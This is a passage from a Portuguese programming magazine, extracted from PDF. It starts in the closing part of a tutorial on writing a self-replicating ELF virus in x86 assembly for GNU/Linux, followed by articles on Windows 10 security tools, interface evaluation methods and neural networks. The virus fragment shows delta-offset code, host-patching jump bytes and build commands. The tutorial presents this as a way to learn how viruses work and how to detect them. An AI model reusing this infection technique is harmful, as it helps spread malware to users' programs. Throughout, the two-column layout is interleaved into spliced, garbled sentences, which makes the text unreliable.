mov [edi], byte 0xb8
que precisamos uma compensao delta. Um delta offset a mov [edi+1], edx
diferena nos endereos virtuais do vrus original para o arqui- mov [edi+5], word 0xe0ff
vo host atual. Ento, como obtemos o deslocamento delta? Na
verdade, um truque muito simples que o Phunky Virus Guide
da Dark Angel apresenta, no incio dos anos 90, no seu tutorial Movendo uma palavra double no registo EAX acaba
de vrus DOS: sendo representado como B8 xx xx xx xx. Saltando (JMP)
para um valor armazenado no registo EAX acaba sendo re-
call delta_offset
delta_offset: presentado como FF E0.
pop ebp Tudo junto, isto d-nos um total de 7 bytes extra para
sub ebp, delta_offset
adicionar ao final do vrus. Isto tambm significa que cada
um dos offsets e famanhos de ficheiro que altermos devem
contar para estes 7 bytes extra.
Ao fazer um CALL a uma label na posio atual, o valor
atual no apontador da instruo (endereo absoluto) empur- Assim o meu vrus faz alteraes aos headers no
rado para a pilha para que um RET saiba para onde te retor- buffer (no no ficheiro), depois sobreescreve o ficheiro host
nar. Fazemos POP para fora da pilha e temos o atual aponta- com os bytes de buffer modificados at o offset onde est o
dor da instruo. Ao subtrair o endereo absoluto do vrus origi- cdigo do nosso vrus. Ento insere-se (vstart, vstop-vstart)
nal ao atual, temos agora o delta offset em EBP. O delta offset depois continua a escrever o restante dos bytes do buffer a
ser 0 durante a execuo do vrus original. partir de onde iniciou. Depois transfere controlo do programa
de volta para o ficheiro host original.
de notar que de forma a evitar certos obstculos, fa-
zemos CALLs sem RETs, ou vice versa. Eu no recomendo Uma vez que compile o vrus, quero adicionar manualmente

49
Segurana

COMO CRIAR UM PROGRAMA AUTO-REPLICATIVO EM ASSEMBLY, PARA GNU/LINUX


o meu criador de vrus aps o 8 byte do vrus. Isto pode no Esta experincia permite compreender um pouco melhor
ser necessrio no meu exemplo porque o meu vrus salta alvos como funcionam os vrus, uma vez que so basicamente
que no tm segmento Data, mas que pode nem sempre ser o programas auto-replicativos, mas com uma carga destinada
caso. Liga o teu editor hexadecimal favorito e adiciona esses a fazer estragos (malware). Tambm se espera que tenha
bytes l dentro! ajudado a compreender como detectar este tipo de progra-
ma, sem recurso a ferramentas anti-virus.
Agora estamos prontos. Vamos compil-lo e test-lo :
nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e
v_start -o virus virus.o Referncias
https://github.com/cranklin/cranky-data-virus
Se tudo correu como deveria o resultado ter sido o
esperado!
Concluso
Ao longo do artigo foram abordados temas to diversos
como:

Extraco de mais informao do header do ELF (32 ou


64 bits, execfutvel, etc)

Alocao do buffer dos ficheiros depois do buffer do


targetfile.

AUTOR
Escrito por Antnio C. Santos

Programar criar um novo mundo escrevendo cdigo, cumprindo os mais elementares desgnios da
vida, aprender, ensinar, criar, partilhar, melhorar e seguir. Formou-se no Instituto Politcnico de Viana
do Castelo. Membro da Comunidade Portugal-a-Programar desde Agosto de 2007, tambm membro da
Sahana Software Foundation, onde Programador Voluntrio desde 2012, actualmente exerce funes
de mentor voluntrio na plataforma MOOC Coursera . Twitter:@apocsantos

50
No Code
Windows 10: Ferramentas de Segurana
MODELOS DE AVALIAO DE INTERFACE
Redes neurais artificiais: o que so? Onde vivem? Do que se alimentam?
No Code
WINDOWS 10: FERRAMENTAS DE SEGURANA

Introduo Device Guard e Credential Guard: Essa tecnologia


de segurana baseada na virtualizao (VBS) tem a capaci-
As ameaas de segurana aos dispositivos, dados e
dade de executar os processos mais sensveis do Windows
informaes so um assunto importante no dia a dia e evolu-
num ambiente seguro e evita alteraes, incluindo quando o
em com frequncia. Por isso, necessrio contar com hard-
ncleo do sistema operativo se encontra comprometido.
ware, software e ferramentas que sirvam como uma barreira
para os riscos que os utilizadores enfrentam em atividades
como navegar na internet, instalar aplicaes ou simples-
mente ligar o computador.
Ameaas como o hacking ou infeo de equipamen-
tos com vrus e malware, acontecem tanto a nvel pessoal
como empresarial e, algumas vezes, podem acontecer simul-
taneamente em ambos os cenrios. Por isso, o primeiro pas-
so para reforar a segurana da nossa informao utilizar
equipamentos com ferramentas atualizadas, como por exem-
plo, PCs com Windows 10.
Ferramentas de Segurana
Para manter a integridade dos mesmos, exis-
tem inmeras inovaes que nos protegem de aes poten-
cialmente perigosas. Vejamos algumas delas:
UEFI Secure Boot: Um componente de hardware
(disponvel tambm no Windows 8.x) que ajuda a manter a
integridade do sistema operativo e do firmware desde o mo-
mento em que o PC ligado at o momento em que desli-
gado.
Windows 10 hardware-based security defenses
Trusted Platform Module: Para proteger as chaves
de criptografia e identidades dos utilizadores, o Windows Sensores biomtricos: So tecnologias que permi-
utiliza um chip TPM para verificar os recursos e manter a tem aos utilizadores usar mltiplos fatores de autenticao
integridade e a segurana oferecida pelo UEFI. Funcio- (MFA) nos seus dispositivos, como a Face, ris ou impresso
na com base no hardware e em conjunto com o sistema ope- digital, por exemplo.
rativo.

Leitor impresso digital


Conditional Access e Device Integrity: A integrida-

52
No Code
WINDOWS 10: FERRAMENTAS DE SEGURANA
de e estado de um dispositivo pode ser verificada atravs de Bitlocker e Windows Information Protection: Se o
servios combinados da Cloud e do sistema. Por exemplo, dispositivo usado a nvel profissional for roubado, possvel
se um dispositivo no seguro, os utilizadores podem ace- atravs destas solues proteger os dados da empresa e
der aos servios via VPN, e-mail ou SharePoint. evitar fugas de informao, algo que pode ser controlado a
partir de qualquer outro dispositivo. Alm disso, permite que
os utilizadores distingam a informao pessoal da profissio-
nal, para que dados classificados como confidenciais no
fiquem expostos em locais pblicos.
Rights Management Services: Recurso disponvel
no Office 365 em conjunto com o Windows 10 que previne
que os utilizadores obtenham, copiem, imprimam ou enviem
documentos de forma acidental e sem autorizao. Alm
disso, possvel restringir o acesso das pessoas a determi-
nados documentos ou e-mails.SmartScreen: Tecnologia ba-
seada na Cloud, disponvel no Microsoft Edge e no Internet
Explorer, garante a confiabilidade de uma pgina web antes
do acesso do utilizador. Pginas potencialmente perigosas,
como as que iniciam downloads, so bloqueadas para que a
segurana do equipamento no seja comprometida.

Microsoft Passport: A autenticao simples


(passwords tradicionais) j no recomendvel porque trata-
se de um mtodo vulnervel a ataques. Atualmente, neces-
sria uma autenticao com recurso a mltiplos fatores, algo
possvel com o Microsoft Passport, que permite o uso de
vrios dispositivos (Smartphones e PCs) para aceder
a diversos equipamentos ou servios, sem precisar recorrer
a instrumentos mais caros e complexos como tokens e ou
smartcards.

SmartScreen: Tecnologia baseada na Cloud, dis-


ponvel no Microsoft Edge e no Internet Explorer, garante a
confiabilidade de uma pgina web antes do acesso do utiliza-
dor. Pginas potencialmente perigosas, como as que iniciam
downloads, so bloqueadas para que a segurana
do equipamento no seja comprometida.

Windows Hello: Recurso disponvel no Windows 10 que


permite a autenticao biomtrica para inicio de sesso, ace-
der a aplicaes ou servios online.

Microsoft Edge Smart Screen

53
No Code
WINDOWS 10: FERRAMENTAS DE SEGURANA
AppContainer: O isolamento o principal objetivo
de um ambiente de execuo do AppContainer. Ao isolar
uma aplicao de recursos desnecessrios e outras aplica-
es, as oportunidades de manipulao mal-intencionada
so minimizadas. Conceder acesso baseado em privilgios
As ameaas de se-
mnimos impede que aplicaes e utilizadores acedam
a recursos alm das suas permisses. Controlar o acesso
gurana aos dispositi-
aos recursos protege o processo, o dispositivo e a rede.
Windows Defender: Atravs da utilizao de servi-
vos, dados e informa-
os Cloud, Machine Learning e diversos esforos de investi-
gao, o Windows Defender permite ao utilizador lidar com
es so um assunto im-
atividades suspeitas e malware com total confiana. As em-
presas podem proteger os seus ambientes atravs do Win- portante no dia a dia e
dows Defender Advanced Threat Protection.
evoluem com frequn-
cia. Por isso, necess-
rio contar com hardware,
software e ferramentas
que sirvam como uma
barreira para os riscos
que os utilizadores en-
frentam em atividades
como navegar na inter-
Recursos
Poder obter informaes mais detalhadas sobre al-
net, instalar aplicaes
guns destes recursos nos seguintes links:
ou simplesmente ligar o
Mitigate threats by using Windows 10 security features
Device Security computador.
Windows Information Protection
Microsoft Passport
Windows Hello for Business Concluso
Rights Management Services Em suma, hardware recente conjugado com funcionalidades
Windows Defender Advanced Threat Protection de segurana disponveis em sistemas operativos como o
Windows 10, so a melhor resposta s ameaas da re-
AppContainer Isolation de, roubo de dispositivos e de identidade ou subtrao de
informaes.

AUTOR
Escrito por Nuno Silva

IT Professional | Windows Insider MVP | Microsoft MVP - Windows Experience (2014-2016) | Microsoft Technical Beta Tester
(Windows International Team) | MCC | Certified Microsoft Windows Phone Expert | Windows Team Division Manager @ Micro-
soft Group Portugal (Facebook)

54
No Code
MODELOS DE AVALIAO DE INTERFACE

Um dos pontos mais importantes, apontados no estu- mento, a partir de um prottipo realizado em papel. Um fato
do das Interfaces Humano-Computador (IHC), a preocupa- no uso deste mtodo, que este, no inclui a parte relaciona-
o em desenvolver sistemas voltados ao usurio a partir da da a proposta de melhorias. No entanto, esta atividade pode
premissa desenvolver sistemas pensando e considerando o vir a ser realizadas como resultado da discusso entre avalia-
usurio em todo o seu processo (SILVA, 2008, p. 92). dores, no sentido de buscar o que ser feito para resolver er-
fundamental haver a preocupao do desenvolvimento do ros ou melhorar a interface.
software em atender as especificidades e necessidades do
Nielsen (1994) prope o uso de um conjunto de dez
usurio, a partir da tica usada na Engenharia de Software
heursticas como base de verificao para cada um dos avali-
(ES) consoante ao estudo da IHC.
adores da equipe, que deve ser formada entre trs e cinco
Silva (2008, p. 92) cita Nielsen que em seu estudo componentes. Neste processo cada uma das dez heursticas,
classifica os mtodos de avaliao de sistemas em trs cate- de forma independente, deve ser verificada por todos os ava-
gorias. A saber: liadores com base nos cenrios tpicos de uso do sistema. Os
itens que estejam fora de escopo devem ser anotados, espe-
Avaliao Heurs- cificados e listados e deve a eles ser atribudo grau de severi-
Mtodos Analtico tica dade de 0 a 4, sendo este significado:
ou de Percurso Cogniti-
vo 0. menor severidade, o problema no considerado
Inspeo
Checklist como um problema de usabilidade;

Mtodos empri- Teste de Usabili- 1. problema de nvel cosmtico que ser resolvido se
Mtodos
cos dade houver disponibilidade de recursos e de tempo;
para
ou
Avaliao Percurso Plurals- 2. problema de nvel pequeno de usabilidade onde sua
Teste com Usu-
tico resoluo ter grau de menor prioridade;
rios
3. problema de nvel maior de usabilidade com alto grau
Modelo GOMS de prioridade para sua soluo;
Outras formas
Questionrios 4. problema de nvel de seriedade alto, o qual requer ser
resolvido antes da continuidade do desenvolvimento
do software.
Os mtodos de avaliao analticos ou de inspeo
As dez avaliaes heursticas citadas por Nielsen
so instrumentos usados apenas pelos projetistas e por pro-
(1994) so indicadas a seguir:
fissionais da rea de IHC. Assim sendo, no h a participa-
o do usurio no uso de tais instrumentos. 1. Visibilidade do status do sistema O sistema deve
informar o usurio por meio de aes de feedbacks
Os mtodos empricos ou de testes com usurios so
sobre o que est acontecendo;
instrumentos que permitem a participao do usurio em
todo o processo de desenvolvimento. 2. Integrao do sistema com o mundo real O sistema
deve fazer uso de termos, aes e conceitos com os
Em relao s outras formas de avaliao, como os
quais o usurio esteja familiarizado, fornecendo infor-
instrumentos citados (Modelo GOMS e Questionrios) ocorre
maes em ordem natural e lgica;
a participao do usurio, mas no em todo o processo de
desenvolvimento. Nesta categoria h apenas a participao 3. Controle e liberdade do usurio O sistema deve ofe-
parcial do usurio. recer suporte a correo de aes incorretas ou inde-
sejadas (como, por exemplo, um comando desfazer)
praticadas pelo usurio de modo que o usurio tenha
Avaliao Heurstica uma maneira de fazer uso de uma sadas de emer-
gncia;
Heurstica pode ser entendida como uma regra ou
diretriz que tem por finalidade guiar uma deciso de projeto 4. Consistncia e padres O sistema deve ter sua in-
ou mesmo criticar uma deciso j tomada (DIX et al. 2004). terface definida de forma padronizado e consistente;
Este mtodo baseado em uma anlise realizada a partir da
5. Preveno de erros O sistema deve possuir um n-
interface e sua relao com os princpios de usabilidade do
vel adequado do controle de excees para neutrali-
sistema do ponto de vista do prprio desenvolvimento. um
zar a ocorrncia de erros, quer seja por eliminao de
mtodo analtico considerado rpido e barato por poder ser
situaes propcias ao erro, quer seja pelo uso de
aplicado por uma pequena equipe de avaliadores em torno
mensagens de advertncia e confirmao;
de cinco integrantes desde o incio do ciclo de desenvolvi-

55
No Code
MODELOS DE AVALIAO DE INTERFACE

6. Reconhecimento em vez de lembrana O sistema 1. o projetista apresenta uma proposta de design;


deve ser intuitivo de maneira que possa minimizar a
2. os avaliadores constroem histrias plausveis sobre a
necessidade de o usurio memorizar aes, objetos,
interao de um usurio tpico com a interface, com
comandos e opes, disponibilizando suas funcionali-
base nos cenrios de tarefas selecionados;
dades de forma visvel e clara;
3. os avaliadores simulam a execuo da tarefa, efetuan-
7. Flexibilidade e eficincia de uso O sistema deve ser
do uma srie de perguntas sobre cada passo;
desenvolvido com o sentido de satisfazer as necessi-
dades de seus usurios inexperientes e experientes 4. os avaliadores anotam pontos-chave, como:
que necessitam de maior interao com o sistema;
o que o usurio precisa saber antes de realizar
8. Design esttico e minimalista O sistema deve conter a tarefa
dilogos apenas com detalhes e informaes que
sejam efetivamente relevantes; o que o usurio deve aprender ao realizar a
tarefa
9. Ajuda para o usurio reconhecer, diagnosticar e recu-
perar-se dos erros O sistema deve apresentar men- A cada passo, os avaliadores necessitam refletir sobre
sagens de erros claras, indicando precisamente o uma srie de perguntas, buscando descobrir problemas em
problema ocorrido e sugerindo solues que sejam potencial que podem vir a ocorrer durante a interao de
precisas e adequadas; usurios reais com o software efetivamente implementado
conforme proposto em seu projeto (PRATES & BARBOSA,
10. Ajuda e documentao O sistema deve prover infor-
2003, p. 19).
maes que sejam relevantes e possuir documenta-
o que seja concisa, de fcil pesquisa e focadas nas
tarefas do usurio, alm de listar os passos exatos a
Checklist
serem executados.
Mtodo analtico que tem por finalidade estabelecer
um critrio de acompanhamento e verificao de cumprimen-
Percurso Cognitivo to de itens de certa interface no sentido de mostrar se a inter-
face em foco est em conformidade com os itens previstos
Mtodo analtico que visa efetuar a simulao passo a
para a interface e se estes contedos e opes esto acess-
passo do comportamento de certo usurio sob a tica de
veis aos usurios.
certa tarefa, devido a esta caracterstica obriga o avaliador a
conhecer bem quem o usurio, suas caractersticas, habili- O mtodo checklist til, mas tende a crescer e se
dades e deficincias para conseguir efetuar as aes que tornar incmodo, surgindo a necessidade de uma organiza-
sejam adequadas. um mtodo aplicado no incio do desen- o especfica para seu uso (BUENO & CAMPELO, 2013, p.
volvimento. 6).
Prates & Barbosa, (2003, p. 18) apontam que antes Aps coletado a lista de pontos de verificao, ou se-
de realizar este mtodo de avaliao preciso passar por ja, o checklist este deve ser submetido a validao por um
uma fase de preparao, onde devero ser definidos: grupo de profissionais experientes na prtica de projetos e
anlise de sistemas (AGNER, 2007, p. 274).
hipteses sobre os usurios e sobre o conhecimento
que eles tm sobre a tarefa e sobre a interface pro-
posta; Teste de Usabilidade
cenrios de tarefas, construdos a partir de uma sele- Mtodo usado na fase final do desenvolvimento que
o de tarefas importantes e de tarefas frequentes; objetiva acompanhar as aes de um usurio sobre a utiliza-
o de certo sistema podendo ser realizado sobre um protti-
sequncia correta de aes para completar cada po de alta-fidelidade ou sobre o sistema implementado, sen-
tarefa, tal como definida pelo projetista; do esta caracterstica considerada o principal ponto positivo
proposta de design em papel ou prottipo, ilustrando desta ferramenta de avaliao. No entanto, para que esta
ferramenta seja bem-sucedida necessrio aos avaliadores
cada passo e indicando o estado da interface antes/
tomarem o cuidado de focarem o que efetivamente deve ser
depois de cada um.
avaliado para assim prestar ateno nas partes em estudo.
Usabilidade deve ser entendido como sendo um atri-
Prates & Barbosa, (2003, p. 18) indicam que o processo de buto de qualidade de uso relacionado facilidade de manipu-
execuo da avaliao compreende as seguintes etapas de lao de algo. Isto posto, relaciona-se rapidez com que os
ao: usurios podem aprender e desenvolver as habilidades ne-
cessrias para fazer uso de algo. Se determinado recurso

56
No Code
MODELOS DE AVALIAO DE INTERFACE

no puder ser utilizado, no h motivo real para que o mes- que o tempo utilizado na realizao de cada ao possa ser
mo exista (NIELSEN & LORANGER, 2007). Segundo expe calculado por meio da soma dos valores atribudos a cada
Barbosa & Silva (2010), a usabilidade o critrio de qualida- operador necessrio para executar a ao. Silva (2008) cita
de de uso mais conhecido e frequentemente considerado. que os valores a serem usados para a definio dos operado-
res se encontram na literatura produzida por John & Kieras
(1996). Ao final deste mtodo de avaliao o resultado so as
Percurso Pluralstico aes e os operadores so o total de tempo para realizar a
tarefa mensurada.
Mtodo de avaliao sistemtico que possibilita esta-
belecer critrios sobre sequncias de interfaces, que so os Preece, et. al. (2013), aponta que uma das principais
percursos a partir da interao com vrias pessoas, neste vantagens deste modelo de avaliao a facilidade com que
caso pluralidade, destacando-se os usurios, os projetistas e as anlises comparativas realizadas sobre o uso de interfa-
os profissionais de IHC. Neste mtodo os usurios a partir da ces podem ser feitas sem o prvio treinamento de usurios
observao e uso de uma sequencia de telas tecem quais ou de sesses de testes. Na contramo desta opinio Card,
seriam as aes necessrias para executar certa tarefa a ser et. al. (1983) aborda que o modelo apresenta algumas limita-
implementada por um projetista ou profissional de IHC. A es, como: o fato deste modelo ser aplicado para um estudo
partir deste ponto faz-se a troca de informaes entre usu- voltado a usurios experts; a questo de no considerar as
rios e projetistas/profissionais de IHC no sentido de se obser- diferenas individuais entre os usurios e acrescenta que o
var se o que foi implementado de fato realizado pelo usu- modelo no considera o tempo de aprendizagem do usurio
rio. Enquanto no ficar equacionado o que deve ser feito com para fazer uso do.
o que foi implementado da tica do usurio deve-se repensar
as aes. Somente aps todos entenderem como deve ser o
procedimento correto, que o mesmo definido e passa-se Questionrios
para uma prxima tarefa para nova avaliao.
Mtodo de avaliao que tem por objetivo identificar
Hagiwara & Medeiros Filho (2008, p.4) informam que: as preferncias, nvel de satisfao e ansiedade dos usurios
por meio de questionrios. Mariano, et. al. (2011, p. 4) infor-
ma que a tcnica de aplicao de questionrio uma manei-
Este mtodo aplicado utilizando-se um conjunto de ra impessoal de obter informaes, dando maior liberdade
painis, que por sua vez, so cpias da interface da para o usurio. Acrescente que o questionrio deve ser pre-
tarefa que est sendo avaliada, apresentados na parado com antecedncia, sendo uma ferramenta que permi-
ordem em que apareceriam caso o software estives- te a avaliao de um grande numero de usurios, com um
se sendo executado. baixo custo de aplicao.
Os questionrios podem ser elaborados a partir de
questes: abertas, respostas discursivas; escalares, respos-
Segundo aponta Chan (1996) o percurso pluralstico
tas dadas em escalas; de mltipla escolha, vrias respostas
mostra-se til, principalmente na fase inicial do processo de
para cada questo em que o usurio seleciona uma
desenvolvimento do software em anlise.
(MARIANO, et. al., 2011, p. 4).

Modelo GOMS Bibliografia

O mtodo Goals (Objetivos), Operators (Operadores), AGNER, L. Arquitetura de Informao e Governo Ele-
Methods (Mtodos) e Selection rules (Regras de seleo) trnico: Dilogo: Cidades-Estado na World Wide
possui como caracterstica operacional a no participao do Web Estudo de Caso e Avaliao Ergonmica de
usurio no processo de avaliao, pois visa mensurar o tem- Usabilidade de Interfaces Humano Computador.
po de ao e reao do usurio no uso de certo recurso exis- Tese de Doutorado, Orientador: Anamaria de Moraes.
tente na interface. Este modelo de base cognitiva busca re- Rio de Janeiro: PUC, 2007. Disponvel em: <http://
presentar o comportamento dinmico do usurio durante a www.agner.com
sua interao com o computador (PRATES, et. al, 2003, p. .br/download/tesedoutorado/>. Acesso em: 22 abr.
446). 2013.
Neste mtodo estipulada uma margem de tempo, BARBOSA, S. D. & SILVA, B. S. Interao Humano-
estimada como possvel para que o usurio possa tomar Computador. Rio de Janeiro: Elsevier, 2010.
uma deciso em relao a ao a ser executada (clicar num
boto, encontrar um boto, arrastar o mouse, clicar em um BUENO, C. de F. dos S. & CAMPELO, G. B. Qualida-
boto, etc). Para tanto, definido um operador para cada de de Software. Recife: Universidade Federal de
passo que necessita o usurio realizar para executar certa Pernambuco: Departamento de Informtica, 2013.
ao; para cada operador atribudo um valor, de maneira Disponvel em: <http://sistemas.riopomba.ifsudes

57
No Code
MODELOS DE AVALIAO DE INTERFACE

temg.edu.br/dcc/materiais/1022789570_Qualidade% Rio de Janeiro: Elsevier, 2007.


20de%20Software.pdf>. Acesso em 25 abr. 2013.
NIELSEN, J. Heuristic evaluation: Inspection Methods.
CARD, S. K., MORAN, T. P. & NEWELL, A. The New York: John Wiley & Sons, 1994.
Psychology of Human-Computer Interaction. Lon-
don:Lawrence Erlbaum Associates. 1983. PRATES, R. O. & BARBOSA, S. D. J. Avaliao de
Interfaces de Usurio - Conceitos e Mtodos:
CHAN, S. da R. H. V. Estudo comparativo de mtodos Anais do XXIII Congresso Nacional da Sociedade
para avaliao de interfaces homem-computador. Brasileira de Computao. XXII Jornadas de Atua-
Relatrio Tcnico IC/ 96-05. Campinas, So Paulo. lizao em Informtica (JAI). SBC, 2003.
26p., 1996.
PRATES, R. O.; FIGUEIREDO, R. M. V. de; BACH, C.
DIX, A.; FINLAY, J.; ABOWD, G.; & BEALE, R. Hu- F. Um Modelo de Apoio ao Projeto de Design de Inter-
man-Computer-Interaction. USA: Pearson Educati- faces de Ambientes de Aprendizado. Rio de Janei-
on, 2004. ro: UERJ: Instituto de Matemtica e Estatstica, 2003.

HAGIWARA, R. C. & MEDEIROS FILHO, D. A. Uma PREECE, J.; ROGERS, Y. & SHARP, H. Design de
Taxonomia para Processos de Avaliao da Inte- Interao. 3a. ed. Porto Alegre: Bookman, 2013.
rao Humano-Computador. Paran: Universidade
Estadual de Maring UEM, 2008. SILVA, M. A. R. Interface Humano-Computador. Ba-
tatais: Claretiano, 2008.
MARIANO, E.; PONTOLI, J. C. da S.; MARCHI, K. R.
1
da C. IHC Anlise e Avaliao dos Usurios. Pa- JOHN, B. E.; KIERAS, D. E. The GOMS family of user inter-
ranava: UNIPAR - Universidade Paranaense, 2011. face analysis techniques: comparison and contrast. ACM
Transactions on Computer-Human Interaction, v. 8, n. 3,
NIELSEN, J. & LORANGER, H. Usabilidade na Web. p. 320-351, 1996.

AUTOR
Escrito por Augusto Manzano

Natural da Cidade de So Paulo, tem experincia em ensino e desenvolvimento de programao de software desde 1986.
professor da rede federal de ensino no Brasil, no Instituto Federal de Educao, Cincia e Tecnologia. tambm autor, possuin-
do na sua carreira vrias obras publicadas na rea da computao.

58
No Code
Redes neurais artificiais: o que so? Onde vivem? Do que se alimentam?

Atualmente, muito se fala em inteligncia artificial. O Voc deve estar se perguntando por que isso
Google investe, a Microsoft, a Amazon, a Uber, o Facebook, importante. Os neurnios funcionam baseados na lei do tudo
a Apple... E essa lista no para por aqui. Ns sabemos que ou nada. Ou seja, se o estmulo excitatrio for muito
uma tecnologia pujante, que, juntamente com a correta pequeno, nenhuma propagao efetuada. Por outro lado,
anlise do Big Data, certamente ser uma das ferramentas desde que o limiar seja atingido, independentemente da sua
mais poderosas que ns teremos no futuro prximo. intensidade, o potencial da ao do neurnio ser o mesmo.
Essa lei foi o primeiro passo para que se desenvolvesse o
A ideia deste artigo falar um pouco da inteligncia
primeiro modelo matemtico para o desenvolvimento das
artificial, mais precisamente abordar os algoritmos das redes
redes neurais artificiais.
neurais artificiais (RNA), sua arquitetura, seu funcionamento
e suas principais aplicaes.
Embora muitos tenham a ideia de que redes neurais Primeiro modelo de neurnio artificial
so sistemas computacionais que imitam o crebro humano,
O primeiro modelo, concebido em 1943 por McCulloch
na realidade, essa ideia de rede neural no passa de uma
e Pitis, formado por um vetor de entrada, e as sinapses so
metfora. Essa metfora totalmente plausvel, pois as
representadas por pesos numricos. Vide frmula abaixo:
redes neurais artificiais tomam por base as redes neurais
biolgicas associadas ao processamento paralelo do crebro
humano.
A rede neural, em suma, uma abordagem
alternativa aos mtodos estatsticos tradicionais utilizados
para solucionar problemas de previso de sries temporais.
Apesar de parecer simples primeira vista, preciso sempre
ter em mente a metfora do crebro humano, pois esse
modelo matemtico se baseia nesse funcionamento.

O neurnio biolgico
Sendo assim, necessrio entender primeiramente
como funciona o neurnio. Voc pensou que aquelas aulas Na figura, X1 a Xn representam as variveis de
de biologia seriam inteis n? Simploriamente falando, um entrada i do neurnio de sada j. A entrada lquida dada
neurnio constitudo por um corpo celular, que possui pela somatria dos pesos sinpticos de i=1 at n, onde o
algumas ramificaes chamadas de dendritos. O mesmo limiar sinptico.
corpo celular possui um alongamento chamado axnio, cuja
extremidade chamada de telodendro. A passagem do Posteriormente, muitos outros modelos matemticos
impulso nervoso se d na regio da sinapse. Isso mesmo, foram desenvolvidos: Perceptron, Adaline (extenso do
aquela que acelerada com uma pequena dose de lcool Perceptron), Perceptron multicamadas (MLP), Algoritmo
(lembre-se, eu disse pequena!). Essa rea composta pelo Backpropagation, Redes de Jordan e Elman, Algoritmo
encontro dos dendritos de um neurnio com os axnios de GDMH, Combinacional, Iterativo Multilayer, Multiplicativo-
outro. E sempre ocorre no sentido axnio, dendrito. aditivo, Multilayer com Neurnio Ativo, Multiaplicativo-aditivo
com Neurnio Ativo, Algoritmo Evolucionrio, Rede ART,
Rede Counter-propagation, Rede de Hopfield, Rede de
Kohonen, Rede LVQ.
Apesar do grande nmero de modelos de RNA, aqui
vamos citar apenas o modelo inicial e o Algoritmo
Evolucionrio.

O algoritmo de Darwin
Outro algoritmo muito utilizado para a resoluo dos
problemas atuais o Algoritmo Evolucionrio. Ele baseado
nos princpios da evoluo biolgica de Darwin, no qual o

59
No Code
REDES NEURAIS ARTIFICIAIS: O QUE SO? ONDE VIVEM? DO QUE SE ALIMENTAM?

mais apto sobrevive. Por conta desse modelo evolucionrio, numrica perante as operaes matemticas. J as camadas
esse algoritmo bastante utilizado na aprendizagem de uma ocultas so constitudas pelos neurnios que so
RNA. Basicamente, ele busca os pesos sinpticos que responsveis pela extrao das caractersticas associadas ao
melhor representam a soluo do problema. sistema a ser inferido. Aqui onde ocorre praticamente todo
o processamento interno da rede. E, por sua vez, as
Esse modelo utiliza muito bem a metfora de Darwin.
camadas finais so constitudas pelos neurnios que so
Oi? O que Darwin tem a ver com inteligncia artificial? responsveis por produzir e apresentar os resultados finais
advindos dos processamentos das camadas anteriores.
Vamos l! uma populao inicial so aplicados
operadores genticos de mutao e cruzamento em cada As camadas e a disposio dos neurnios so
indivduo com o intuito de que eles evoluam e representem basicamente responsveis pelos tipos de arquiteturas de
melhores solues para o problema. RNA encontradas atualmente. Abaixo, segue um modelo de
camadas e quantidade de neurnios.
O algoritmo se inicia com uma populao inicial
gerada aleatoriamente. Nessa populao, avaliada a
aptido sobrevivncia de cada indivduo. Em seguida, a
aptido d a cada indivduo uma pontuao baseada na
pontuao desejada para a resposta almejada. Aqui, o
clculo da aptido de cada indivduo realizado pela funo
do erro mdio quadrtico a seguir.

Ao final do clculo de aptido, formada uma nova Arquiteturas e aplicaes


populao de filhos por meio do processo de seleo e
cruzamento. Nesse ponto, o processo de seleo por torneio Essas arquiteturas so responsveis pela
escolhe os filhos que sero pais para gerar o processo de performance da sua RNA. Ou seja, se voc est querendo
reproduo. Em seguida, aplicado o operador gentico de desenvolver um algoritmo de RNA para utilizar na sua
cruzamento, o que permite a troca de material gentico dos aplicao, precisa pensar em qual arquitetura ser mais til
pais, possibilitando assim que os filhos recebam as na resoluo do seu problema. A mesma arquitetura pode ser
caractersticas dos pais. Ento, na nova populao de filhos, excelente para um problema, e nem to boa para outro.
aplicado o operador gentico de mutao, alterando As RNAs so classificadas de acordo com a sua
aleatoriamente o valor de um gene do indivduo que tenha arquitetura em:
uma probabilidade mnima de mutao. Ao final de todo esse
processo, a nova populao passa pelo processo de elitismo, Dinmica;
no qual o indivduo menos apto substitudo pelo melhor
indivduo da populao anterior. Fuzzy;

nica camada;

As camadas Mltiplas camadas.


Se voc est acompanhando bem o artigo, percebeu Quando utilizar uma RNA? Para a utilizao de RNAs,
que todo algoritmo de RNA baseado em um modelo voc pode utilizar basicamente o seguinte critrio de
matemtico. E percebeu tambm que esse modelo classificao, lembrando que isso no uma receita de bolo.
matemtico normalmente tem relaes com modelos
biolgicos. Alm disso, percebeu que ele composto, muito
rudemente falando, de somatrias, combinaes, pesos e Reconhecimento de padres e classificao;
camadas. Vamos explicar agora o que so as camadas.
Processamento de imagem e viso;
Quando falamos de RNA, existem trs tipos de
camadas: camada de entrada, intermediria ou oculta e Identificao de sistema e controle;
camada de sada. As camadas intermedirias so as
responsveis por receber os dados advindos do meio Processamento de sinais.
externo. Essas entradas normalmente so normalizadas por
funes de ativao e implicam uma melhor acurcia

60
No Code
REDES NEURAIS ARTIFICIAIS: O QUE SO? ONDE VIVEM? DO QUE SE ALIMENTAM?

Os itens acima podem ser considerados macrotemas. Karabatak, em 2009, apresentou um sistema de diagnstico
Abaixo, seguem algumas aplicaes especficas: automtico para cncer de mama, utilizando a base de dados
Breast Cancer, baseado nas regras de associao e em uma
Reconhecimento de voz; RNA multilayer perceptron.
Software de OCR; Espero que nestas poucas pginas eu tenha
conseguido instigar a sua curiosidade sobre as RNAs. Caso
Identificao de spam; voc queira se aventurar neste mundo de IA, pense que as
Cloud computing; RNA so um modelo matemtico que se apropria de padres
biolgicos para desenvolver um sistema computacional capaz
Mercado financeiro; de evoluir por meio de treinamento.

Agricultura; Sendo assim, voc vai precisar estudar muita


matemtica para desenvolver seus algoritmos, praticar a
Previso do tempo; observao da natureza para elaborar seus modelos
matemticos, e ter muita pacincia para testar seu algoritmo
Medicina. e sua arquitetura.
Para se ter uma ideia do uso das RNAs na medicina, No se esquea: a tecnologia apenas um meio para
um fim. Saiba o que fazer com ela!

AUTOR
Escrito por Alex Lattaro

Lder de Contedo do iMasters


alex.lattro@imasters.com.br

61
No Code
Mini Maker Faire Castelo Branco

Decorreu no passado dia 10 de Junho a Mini Maker inveno dos participantes. Acima de tudo, um evento que
Faire em Castelo Branco. Correndo o risco de ser suspeita, promove a partilha de conhecimento e pretende alargar os
uma vez que Castelo Branco ser sempre a minha cidade de horizontes do imaginrio dos participantes, uma vez que pos-
